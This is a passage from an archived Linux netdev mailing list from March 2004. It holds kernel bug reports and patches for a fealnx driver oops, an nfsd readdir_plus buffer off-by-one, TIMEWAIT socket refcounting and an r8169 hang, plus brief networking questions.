function) and francis patches... Btw. I haven't seen any panics at all because of rx, just tx, and that problem seems solved. But I thought testing additional patches that is supposed to cure other problems won't hurt me.. ;) > > Patched driver oopses in allocate_rx_buffers() shortly after boot, It oops as soon as the first packet is sent out.... > --- fealnx.c.orig Fri Nov 28 20:26:20 2003 > +++ fealnx.c Sun Mar 28 21:32:56 2004 > @@ -1134,15 +1134,17 @@ > struct sk_buff *skb; > > skb = dev_alloc_skb(np->rx_buf_sz); > - np->lack_rxbuf->skbuff = skb; > - > if (skb == NULL) > break; /* Better luck next round. */ > np->lack_rxbuf == NULL here.... (verified by inserting a "BUG_ON(np->lack_rxbuf==NULL);"...) > + while (np->lack_rxbuf->skbuff) and now we are dead.. ;( > + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; > + np->lack_rxbuf->skbuff = skb; > + > skb->dev = dev; /* Mark as being used by this device. */ > np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, > np->rx_buf_sz, PCI_DMA_FROMDEVICE); > - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; > + np->lack_rxbuf->status = RXOWN; > ++np->really_rx_count; > } > } > @@ -1380,33 +1382,22 @@ > return 0; > } > > - > -void free_one_rx_descriptor(struct netdev_private *np) > -{ > - if (np->really_rx_count == RX_RING_SIZE) > - np->cur_rx->status = RXOWN; > - else { > - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; > - np->lack_rxbuf->buffer = np->cur_rx->buffer; > - np->lack_rxbuf->status = RXOWN; > - ++np->really_rx_count; > - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; > - } > - np->cur_rx = np->cur_rx->next_desc_logical; > -} > - > - > void reset_rx_descriptors(struct net_device *dev) > { > struct netdev_private *np = dev->priv; > + struct fealnx_desc *cur = np->cur_rx; > + int i; > > stop_nic_rx(dev->base_addr, np->crvalue); > > - while (!(np->cur_rx->status & RXOWN)) > - free_one_rx_descriptor(np); > - > allocate_rx_buffers(dev); > > + for (i = 0; i < RX_RING_SIZE; i++) { > + if (cur->skbuff) > + cur->status = RXOWN; > + cur = cur->next_desc_logical; > + } > + > writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), > dev->base_addr + RXLBA); > writel(np->crvalue, dev->base_addr + TCRRCR); > @@ -1576,7 +1567,7 @@ > struct netdev_private *np = dev->priv; > > /* If EOP is set on the next entry, it's a new packet. Send it up. */ > - while (!(np->cur_rx->status & RXOWN)) { > + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { > s32 rx_status = np->cur_rx->status; > > if (np->really_rx_count == 0) > @@ -1628,8 +1619,15 @@ > np->stats.rx_length_errors++; > > /* free all rx descriptors related this long pkt */ > - for (i = 0; i < desno; ++i) > - free_one_rx_descriptor(np); > + for (i = 0; i < desno; ++i) { > + if (!np->cur_rx->skbuff) { > + printk(KERN_DEBUG > + "%s: I'm scared\n", dev->name); > + break; > + } > + np->cur_rx->status = RXOWN; > + np->cur_rx = np->cur_rx->next_desc_logical; > + } > continue; > } else { /* something error, need to reset this chip */ > reset_rx_descriptors(dev); > @@ -1671,8 +1669,6 @@ > } else { > skb_put(skb = np->cur_rx->skbuff, pkt_len); > np->cur_rx->skbuff = NULL; > - if (np->really_rx_count == RX_RING_SIZE) > - np->lack_rxbuf = np->cur_rx; > --np->really_rx_count; > } > skb->protocol = eth_type_trans(skb, dev); > @@ -1682,22 +1678,7 @@ > np->stats.rx_bytes += pkt_len; > } > > - if (np->cur_rx->skbuff == NULL) { > - struct sk_buff *skb; > - > - skb = dev_alloc_skb(np->rx_buf_sz); > - > - if (skb != NULL) { > - skb->dev = dev; /* Mark as being used by this device. */ > - np->cur_rx->buffer = pci_map_single(np->pci_dev, skb->tail, > - np->rx_buf_sz, PCI_DMA_FROMDEVICE); > - np->cur_rx->skbuff = skb; > - ++np->really_rx_count; > - } > - } > - > - if (np->cur_rx->skbuff != NULL) > - free_one_rx_descriptor(np); > + np->cur_rx = np->cur_rx->next_desc_logical; > } /* end of while loop */ > > /* allocate skb for rx buffers */ Regards, Andreas Henriksson From romieu@fr.zoreil.com Sun Mar 28 15:42:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 15:42:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2SNgJKO007701 for ; Sun, 28 Mar 2004 15:42:20 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2SNcYgf027110; Mon, 29 Mar 2004 01:38:34 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2SNcYEB027109; Mon, 29 Mar 2004 01:38:34 +0200 Date: Mon, 29 Mar 2004 01:38:34 +0200 From: Francois Romieu To: Andreas Henriksson Cc: Denis Vlasenko , Jeff Garzik , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040329013834.B24996@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua> <20040328005533.A6117@electric-eye.fr.zoreil.com> <200403282219.56799.vda@port.imtp.ilyichevsk.odessa.ua> <20040328232707.GA17524@scream.fjortis.info> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040328232707.GA17524@scream.fjortis.info>; from andreas@fjortis.info on Mon, Mar 29, 2004 at 01:27:07AM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4302 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1859 Lines: 51 Andreas Henriksson : [...] > > --- fealnx.c.orig Fri Nov 28 20:26:20 2003 > > +++ fealnx.c Sun Mar 28 21:32:56 2004 > > @@ -1134,15 +1134,17 @@ > > struct sk_buff *skb; > > > > skb = dev_alloc_skb(np->rx_buf_sz); > > - np->lack_rxbuf->skbuff = skb; > > - > > if (skb == NULL) > > break; /* Better luck next round. */ > > > > np->lack_rxbuf == NULL here.... > > (verified by inserting a "BUG_ON(np->lack_rxbuf==NULL);"...) Oops, I forgot to initialize np->lack_rxbuf correctly. If you have some time to spend, you can change in netdev_rx: pci_unmap_single(np->pci_dev, np->cur_rx->buffer, np->rx_buf_sz, PCI_DMA_FROMDEVICE); skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; --np->really_rx_count; into: pci_unmap_single(np->pci_dev, np->cur_rx->buffer, np->rx_buf_sz, PCI_DMA_FROMDEVICE); skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; if (!np->lack_rxbuf) <<< np->lack_rxbuf = np->cur_rx; <<< np->cur_rx->skbuff = NULL; --np->really_rx_count; It may be simpler/safer to turn (init_ring): np->lack_rxbuf = NULL; into np->lack_rxbuf = np->rx_ring; I'll check the whole thing tomorrow. It's time to sleep now. Thanks for your report. -- Ueimor From SRS0+XXXX=00=cse.unsw.edu.au=neilb@cse.unsw.edu.au Sun Mar 28 17:04:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 17:04:13 -0800 (PST) Received: from note.orchestra.cse.unsw.EDU.AU (root@note.orchestra.cse.unsw.EDU.AU [129.94.242.24]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T142KO012786 for ; Sun, 28 Mar 2004 17:04:02 -0800 Received: From notabene ([129.94.211.194] == dulcimer.orchestra.cse.unsw.EDU.AU) (for ) (for ) (for ) (for ) (for ) By note With Smtp ; Mon, 29 Mar 2004 11:03:44 +1000 Received: from neilb by notabene with local (Exim 3.36 #1 (Debian)) id 1B7lBo-0007L2-00; Mon, 29 Mar 2004 11:03:44 +1000 From: Neil Brown To: Trond Myklebust Date: Mon, 29 Mar 2004 11:03:43 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Message-ID: <16487.30191.933378.175350@notabene.cse.unsw.edu.au> cc: Bruce Allan Cc: Linus Torvalds , David S Miller , Andrew Morton , netdev@oss.sgi.com Subject: Re: nfsd oops with 2.6.5-rc2-mm4 In-Reply-To: message from Trond Myklebust on Sunday March 28 References: <20040327130757.GA6760@c9x.org> <1080511633.5553.29.camel@lade.trondhjem.org> X-Mailer: VM 7.18 under Emacs 21.3.1 X-face: [Gw_3E*Gng}4rRrKRYotwlE?.2|**#s9D På lau , 27/03/2004 klokka 21:30, skreiv Linus Torvalds: > > This oops is on a > > > > lock incl 0x4(%edx) > > > > and as far as I can tell, it's from do_tcp_sendpages(): > > > > .... > > > > i = skb_shinfo(skb)->nr_frags; > > if (can_coalesce(skb, i, page, offset)) { > > skb_shinfo(skb)->frags[i - 1].size += copy; > > } else if (i < MAX_SKB_FRAGS) { > > ********* get_page(page); *************** > > fill_page_desc(skb, i, page, offset, copy); > > } else { > > tcp_mark_push(tp, skb); > > goto new_segment; > > } > > ... > > > > where "page" is NULL. > > > > The caller seems to be svc_sendto()->tcp_sendpage()->do_tcp_sendpages() > > (the other addresses seem to be stale crud on the stack), which doesn't > > look like it has changed lately. Unless there are changes in this area in > > -mm.. > > > > Any ideas? > > I'm not really that familiar with Neil's code, but looking at > encode_entry(), shouldn't it test for the buffer overflow condition > whereby pn >= cd->rqstp->rq_resused, and exit if it does? Neil? No... and yes... sort of.... It is (should be) an invariant that cd->buffer is always inside one of the pages in rq_respages. If a particular entry won't fit, it is not added and nfserr_toosmall is returned there. I say "should" because there is a '<=' which should be a '<', so it is possible that if the entry fits exactly in the page, cd->buffer will be left pointing off the end of the page, and so the invariant won't be true. While this won't happen often, it is more likely to happen with larger directories, which seems to be a common theme. There is another problem in this code - num_entry_words isn't set properly if there is a problem getting the filehandle for a file. I'm not sure if this has been a problem or not. Anyway, here is the patch. I don't have a test case that breaks without this patch, but a large directory can be listed from Solaris (which uses readdir-plus) with this patch, so I don't think I've broken anything. NeilBrown ###Comments for Changeset Fix bugs introduced by recent improvements to readdir_plus 1/ make sure cd->buffer is always inside a page - previously if an entry fit perfectly in the remainder of a page, cd->buffer would end up pointing past the end of that page. 2/ make sure num_entry_words is always correct, even on the error path. ----------- Diffstat output ------------ ./fs/nfsd/nfs3xdr.c | 16 ++++++---------- 1 files changed, 6 insertions(+), 10 deletions(-) diff ./fs/nfsd/nfs3xdr.c~current~ ./fs/nfsd/nfs3xdr.c --- ./fs/nfsd/nfs3xdr.c~current~ 2004-03-29 10:10:25.000000000 +1000 +++ ./fs/nfsd/nfs3xdr.c 2004-03-29 10:26:21.000000000 +1000 @@ -884,10 +884,11 @@ encode_entry(struct readdir_cd *ccd, con if (plus) { struct svc_fh fh; - if (compose_entry_fh(cd, &fh, name, namlen) > 0) - goto noexec; - - p = encode_entryplus_baggage(cd, p, &fh); + if (compose_entry_fh(cd, &fh, name, namlen) > 0) { + *p++ = 0; + *p++ = 0; + } else + p = encode_entryplus_baggage(cd, p, &fh); } num_entry_words = p - cd->buffer; } else if (cd->rqstp->rq_respages[pn+1] != NULL) { @@ -916,7 +917,7 @@ encode_entry(struct readdir_cd *ccd, con /* determine entry word length and lengths to go in pages */ num_entry_words = p1 - tmp; len1 = curr_page_addr + PAGE_SIZE - (caddr_t)cd->buffer; - if ((num_entry_words << 2) <= len1) { + if ((num_entry_words << 2) < len1) { /* the actual number of words in the entry is less * than elen and can still fit in the current page */ @@ -945,16 +946,11 @@ encode_entry(struct readdir_cd *ccd, con return -EINVAL; } -out: cd->buflen -= num_entry_words; cd->buffer = p; cd->common.err = nfs_ok; return 0; -noexec: - *p++ = 0; - *p++ = 0; - goto out; } int From niv@us.ibm.com Sun Mar 28 18:05:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 18:05:55 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T25kKO015326 for ; Sun, 28 Mar 2004 18:05:53 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2T25enl295668; Sun, 28 Mar 2004 21:05:40 -0500 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2T25vJ5065426; Sun, 28 Mar 2004 21:05:58 -0500 Message-ID: <406783DA.3090900@us.ibm.com> Date: Sun, 28 Mar 2004 18:03:06 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Miller CC: netdev Subject: [PATCH 2.4] sock_put() on a TIMEWAIT socket Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4304 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1058 Lines: 33 Dave, Caught an instance of sock_put() being used instead of tcp_tw_put(). If the refcnt goes to 0, tcp_tw_put() will release a tcp_tw_bucket back into the tcp timewait cache, whereas the sock_put() decrement will release a sock struct back into the sk cache. Not sure how the slab caches handle this, but tw is a smaller structure and the next caller who gets this tw pointer thinking it's a sock could potentially write past memory that it should (?). Patch applies to 2.4.25. thanks, Nivedita diff -urN linux-2.4.25/net/ipv4/tcp_ipv4.c linux-2.4.25mc/net/ipv4/tcp_ipv4.c --- linux-2.4.25/net/ipv4/tcp_ipv4.c 2003-11-28 10:26:21.000000000 -0800 +++ linux-2.4.25mc/net/ipv4/tcp_ipv4.c 2004-03-28 16:35:01.000000000 -0800 @@ -1804,7 +1804,8 @@ do_time_wait: if (skb->len < (th->doff<<2) || tcp_checksum_complete(skb)) { TCP_INC_STATS_BH(TcpInErrs); - goto discard_and_relse; + tcp_tw_put((struct tcp_tw_bucket *) sk); + goto discard_it; } switch(tcp_timewait_state_process((struct tcp_tw_bucket *)sk, skb, th, skb->len)) { From niv@us.ibm.com Sun Mar 28 18:07:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 18:07:33 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T27UKO015585 for ; Sun, 28 Mar 2004 18:07:31 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2T27P4i535018; Sun, 28 Mar 2004 21:07:25 -0500 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2T27N2J120534; Sun, 28 Mar 2004 21:07:24 -0500 Message-ID: <40678444.3070402@us.ibm.com> Date: Sun, 28 Mar 2004 18:04:52 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Miller CC: netdev Subject: [PATCH 2.6] sock_put() on a TIMEWAIT socket Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4305 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 967 Lines: 33 Instances of sock_put() being used instead of tcp_tw_put(). This is for the 2.6 tree. Patch applies to 2.6.4, but should apply cleanly to later versions as well. thanks, Nivedita diff -urN linux-2.6.4/net/ipv4/tcp_ipv4.c linux-2.6.4mc/net/ipv4/tcp_ipv4.c --- linux-2.6.4/net/ipv4/tcp_ipv4.c 2004-03-10 18:55:25.000000000 -0800 +++ linux-2.6.4mc/net/ipv4/tcp_ipv4.c 2004-03-28 17:26:52.000000000 -0800 @@ -1825,12 +1825,15 @@ goto discard_it; do_time_wait: - if (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) - goto discard_and_relse; + if (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) { + tcp_tw_put((struct tcp_tw_bucket *) sk); + goto discard_it; + } if (skb->len < (th->doff << 2) || tcp_checksum_complete(skb)) { TCP_INC_STATS_BH(TcpInErrs); - goto discard_and_relse; + tcp_tw_put((struct tcp_tw_bucket *) sk); + goto discard_it; } switch (tcp_timewait_state_process((struct tcp_tw_bucket *)sk, skb, th, skb->len)) { From markes.albert@libero.it Sun Mar 28 18:20:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 18:20:40 -0800 (PST) Received: from smtp3.libero.it (smtp3.libero.it [193.70.192.127]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T2KaKO016209 for ; Sun, 28 Mar 2004 18:20:37 -0800 Received: from libero.it (172.16.1.85) by smtp3.libero.it (7.0.027-DD01) id 404F14900023C651; Sun, 28 Mar 2004 20:54:19 +0200 Date: Sun, 28 Mar 2004 20:54:19 +0200 Message-Id: Subject: Re: Net module Realtek 8110S/8169S MIME-Version: 1.0 X-Sensitivity: 3 Content-Type: multipart/mixed; boundary="_=__=_XaM3_.1080500059.2A.755759.42.26105.52.42.007.14947" From: "markes\.albert\@libero\.it" To: "romieu" Cc: "netdev" X-XaM3-API-Version: 4.1 (B27) X-type: 0 X-SenderIP: 151.42.108.94 X-archive-position: 4306 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: markes.albert@libero.it Precedence: bulk X-list: netdev Content-Length: 6956 Lines: 145 --_=__=_XaM3_.1080500059.2A.755759.42.26105.52.42.007.14947 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Hi Francois after your e-mail, I redo the test with kernel 2.6.4-van= illa unchanged and in console mode (without X) I have no problem. I don'= t understand because the problem some day ago raise in console and with = X. In my test the problem raise always when I copy file in KDE to PC by = smbclient. So I think the problem was X but with kernel 2.6.3 the proble= m don't raise. The system hang and the only option is hardware-reset, no= thing ping not respond and led do not change nay more. I do the thing= you told me with kernel unchanged dd if=3D/dev/hda of=3D/dev/null b= s=3D1024k.... go well dd if=3D/myfile of=3D/newfile ok transfer (= console) ok Retry with X transfer KO I recompile kerne= l as you told me. > Processor type and features ---> > [...] > x x[= ] Symmetric multi-processing support x x = > x x[ ] Preemptible Kernel = x x > x x[*] Local APIC support on uniprocessors = x x > > Enable as well: > > Kernel hacking ---= > > [...] > x x [*] Magic SysRq key = x x retray test with KDE and the problem don't raise= . When the problem raised I saw in the kernel-changelog change in modu= le r8169 so I thoungh the problem was NIC-module, the only change from t= wo configuration. Now I only raise the problem (without your change) wit= h KDE... I don't understand if is NIC or X-KDE problem. Can you help me= to find who hang my system? I attach dmeg and lspci Thanks a lot=0D = Alberto Marchesini --_=__=_XaM3_.1080500059.2A.755759.42.26105.52.42.007.14947 Content-Type: application/x-gzip; name="=?iso-8859-1?Q?message.tar.gz?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?iso-8859-1?Q?message.tar.gz?=" H4sIAIQ6Z0AAA+1ba4/bNhbN5/wKfdsWu83w/QgWC4zHM90AaRs02WCBojAkPibGPDxra/L4 93tJiRRlaxJnknS3iRnAuWNeHlG8R4eXFG2v3Ob8Ufu2ffDlCsIICcYeoK5s/U+55PgBuFAs KMdcgD9mFD2o0BfsUy63m7ZeV9WD9Wr13jH4UP2ftBDklP3H79XNemXcZrNol1duddv+Fb1F R+itflj99neDMNfIcvCyq8XGXToT6rGk4EFqmnyUbQLSYnGzurx8Uy8TiBEZhXkMHpt3mwGG GAk+HDW9E1IN8Z2TqS8vF+ED3IJT8/DhhXU/0EfkEa5CeV7NT9WpPlEo/gmfDFNehf+IDp+S VblAFaq++/mXF09n3z+0cNfSU1N1HFSisl4T2RBUQZXTRkXDagmGCYRsLO99UOHzsAdHCnnB sIp4mhpVNR5b5DjtrwBVGS8amqHKh+JQcamEF79QRA1G6AT0gXWNoPTAfWtlAK8J3zPefSNC 1cMTGL7qxbo27nE/wPFWulje1Odu4evbyxhPykIgSIp5vFofrRBNFnxUiANhKeZYKCUCloso 4HcBgLfXpl2urvvwY3Iv58ZRWVz9ZmkDWeLl96NKeK5b4EtVUoWhgiqRHR1jGGG4GpdMFUuw L6hC4AYcY6Luac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8qSxcgXEO2CLeVJH+q3G2uGnO5 dNdtQUl6xnRBSZ0FbqIMlETK35X4AqRnepy5xJDvVk0mvnCTPlJSSK63KCnqnjnp5Il2LlSF 7uzuMfDBGBLf5Du0dsZilQ/I+mg0Rjdf2+4md1onJ1BY1/bkwJLF65n7yZqcsRM9H05b04kj tWni5IWsQfKJp7c4tWyY0fm9RQy+tI1SU1WTW5zIGRFP8iMl9ARMNPKZSORp1XVnz32q5Jtb dy5pn6ouja+LQ5998XQCKX78bc9An921d5F3lfS547C+SZDjyca899xk9o1UMZD0EMmspyTN WWGHPMFEw6HPknHR6YyLydq5byvj+uRTJ3f8/vdyc2OW/9Pff8PKHYnh999Uxt9/E3n4/fcf URB6jNAjVP1ztWmrZr205+5x9eS6dZfVyWp986hSkE7wH4+enR49q551UrtaV+2qenL0C7hc t2ugtVtX363d6wqR7x8GRAyIz06efBzg8Y/P7gLEFgD/9XxW1O+AInw6iz5bDfF9G5L7NqT3 bSj3bUjGLd37hxvh2fHRyfHRfHYEzYPjLDp2IKYH8QDy5Pnx3SDQ9umzk/j92oPk3hksD2P+ ZH5aLZPnHfdx2a7r6vjFcfUc1hv1+fsAafX8p9ntZhooVr2nMa9+ur0M84Bd1rC4sctVZT4w xscnf9GyOo6+k8C4e2xe/ngMWFc3dbtsLt0I9vrlMlwv4MLdhfVT9fNLLKvffnRnq7VxrPrp 3xVj6PcOtaaASh4jAqhFd18vrRt3dwZKdNGunRtBz1olVfUyep/UN+3t2hW9jbi4xN0XsR+C KUQBPT1tX7n1tWtHeL+6+rJ1F9Vzd7WE7+2tgfgC9qO/VU9b+6j69cXTHxSG3DPCYfT9XZPT oRzKoRzKoRzKoRzKoRzKoXzW8l8LNg+gAFAAAA== --_=__=_XaM3_.1080500059.2A.755759.42.26105.52.42.007.14947-- From torvalds@osdl.org Sun Mar 28 18:44:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 18:44:54 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T2ipKO017029 for ; Sun, 28 Mar 2004 18:44:52 -0800 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2T2iU227612; Sun, 28 Mar 2004 18:44:30 -0800 Date: Sun, 28 Mar 2004 18:44:29 -0800 (PST) From: Linus Torvalds To: Trond Myklebust , Frank Denis cc: David S Miller , Neil Brown , Andrew Morton , netdev@oss.sgi.com Subject: Re: nfsd oops with 2.6.5-rc2-mm4 In-Reply-To: <1080511633.5553.29.camel@lade.trondhjem.org> Message-ID: References: <20040327130757.GA6760@c9x.org> <1080511633.5553.29.camel@lade.trondhjem.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4307 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 525 Lines: 16 On Sun, 28 Mar 2004, Trond Myklebust wrote: > > I'm not really that familiar with Neil's code, but looking at > encode_entry(), shouldn't it test for the buffer overflow condition > whereby pn >= cd->rqstp->rq_resused, and exit if it does? Neil? Ok, I took Neils patch, which touches the same function, but looks very different. Frank, can you test the current top-of-BK tree (or if not a BK user, try the snapshot tomorrow that should get build at 2AM tonight). It would be good to get this thing confirmed. Linus From grahame@angrygoats.net Sun Mar 28 20:26:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 20:26:55 -0800 (PST) Received: from asclepius.uwa.edu.au (asclepius.uwa.edu.au [130.95.128.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T4QgKO022910 for ; Sun, 28 Mar 2004 20:26:42 -0800 Received: from 127.0.0.1 (localhost [127.0.0.1]) by dummy.domain.name (Postfix) with SMTP id 1C5C836A13A for ; Mon, 29 Mar 2004 11:44:25 +0800 (WST) Received: from billy.angrygoats.net (billy.angrygoats.net [130.95.86.253]) by asclepius.uwa.edu.au (Postfix) with ESMTP id 152E636A131 for ; Mon, 29 Mar 2004 11:44:25 +0800 (WST) Received: from dialup.angrygoats.net (dialup.angrygoats.net [130.95.57.224]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by billy.angrygoats.net (Postfix) with ESMTP id 4B0EF1FE33 for ; Mon, 29 Mar 2004 11:44:36 +0800 (WST) Subject: SIOCGIFADDR and IPv6 From: Grahame Bowland To: netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1080531859.3435.8.camel@anduril> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5.5 Date: Mon, 29 Mar 2004 11:44:20 +0800 Content-Transfer-Encoding: 7bit X-archive-position: 4308 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: grahame@angrygoats.net Precedence: bulk X-list: netdev Content-Length: 413 Lines: 17 Hey all I've noticed that calling SIOCGIFADDR on an IPv6 socket to get the interface address always returns EINVAL. Would a patch to implement that feature be accepted? As far as I can see, it wasn't implemented in the USAGI tree because a struct ifreq couldn't fit an IPv6 address. However, the current kernel IPv6 has the struct in6_ifreq to support SIOCSIFADDR, which fixes that problem. Cheers Grahame From sameer@dlink.co.in Sun Mar 28 20:36:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 20:36:30 -0800 (PST) Received: from gateway.blr.dlink.com ([202.62.83.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T4aJKO023424 for ; Sun, 28 Mar 2004 20:36:24 -0800 Received: from sameer (localhost [127.0.0.1]) by gateway.blr.dlink.com (8.11.0/8.11.0) with SMTP id i2T4nkm09968 for ; Mon, 29 Mar 2004 10:19:50 +0530 Message-ID: <005c01c41547$97ca85f0$9064a8c0@sameer> From: "Sameer" To: Subject: linux icmp: Why socket and inode are allocated? Date: Mon, 29 Mar 2004 10:07:46 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-MIME-Autoconverted: from 8bit to quoted-printable by gateway.blr.dlink.com id i2T4nkm09968 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2T4aJKO023424 X-archive-position: 4309 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sameer@dlink.co.in Precedence: bulk X-list: netdev Content-Length: 378 Lines: 16 hi, I am currently studying linux ICMP implementation In that i find there a socket and inode data structures being initialized.. later in the icmp_init function it is said that we do not wish this socket to see the incoming packets.. So why a socket and an inode structures are used for icmp? Thanks and Regards, $@M££R! Sameer Kelkar. D-Link (India) Ltd. Bangalore India. From davem@redhat.com Sun Mar 28 21:54:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 21:54:16 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T5s8KO026046 for ; Sun, 28 Mar 2004 21:54:08 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2T5s71X031275; Mon, 29 Mar 2004 00:54:07 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2T5s7j25218; Mon, 29 Mar 2004 00:54:07 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2T5rX1n025528; Mon, 29 Mar 2004 00:53:47 -0500 Date: Sun, 28 Mar 2004 21:53:36 -0800 From: "David S. Miller" To: Nivedita Singhvi Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2.6] sock_put() on a TIMEWAIT socket Message-Id: <20040328215336.516a7741.davem@redhat.com> In-Reply-To: <40678444.3070402@us.ibm.com> References: <40678444.3070402@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4310 X-ecartis-version: Ecartis v1.0.0 Sender: 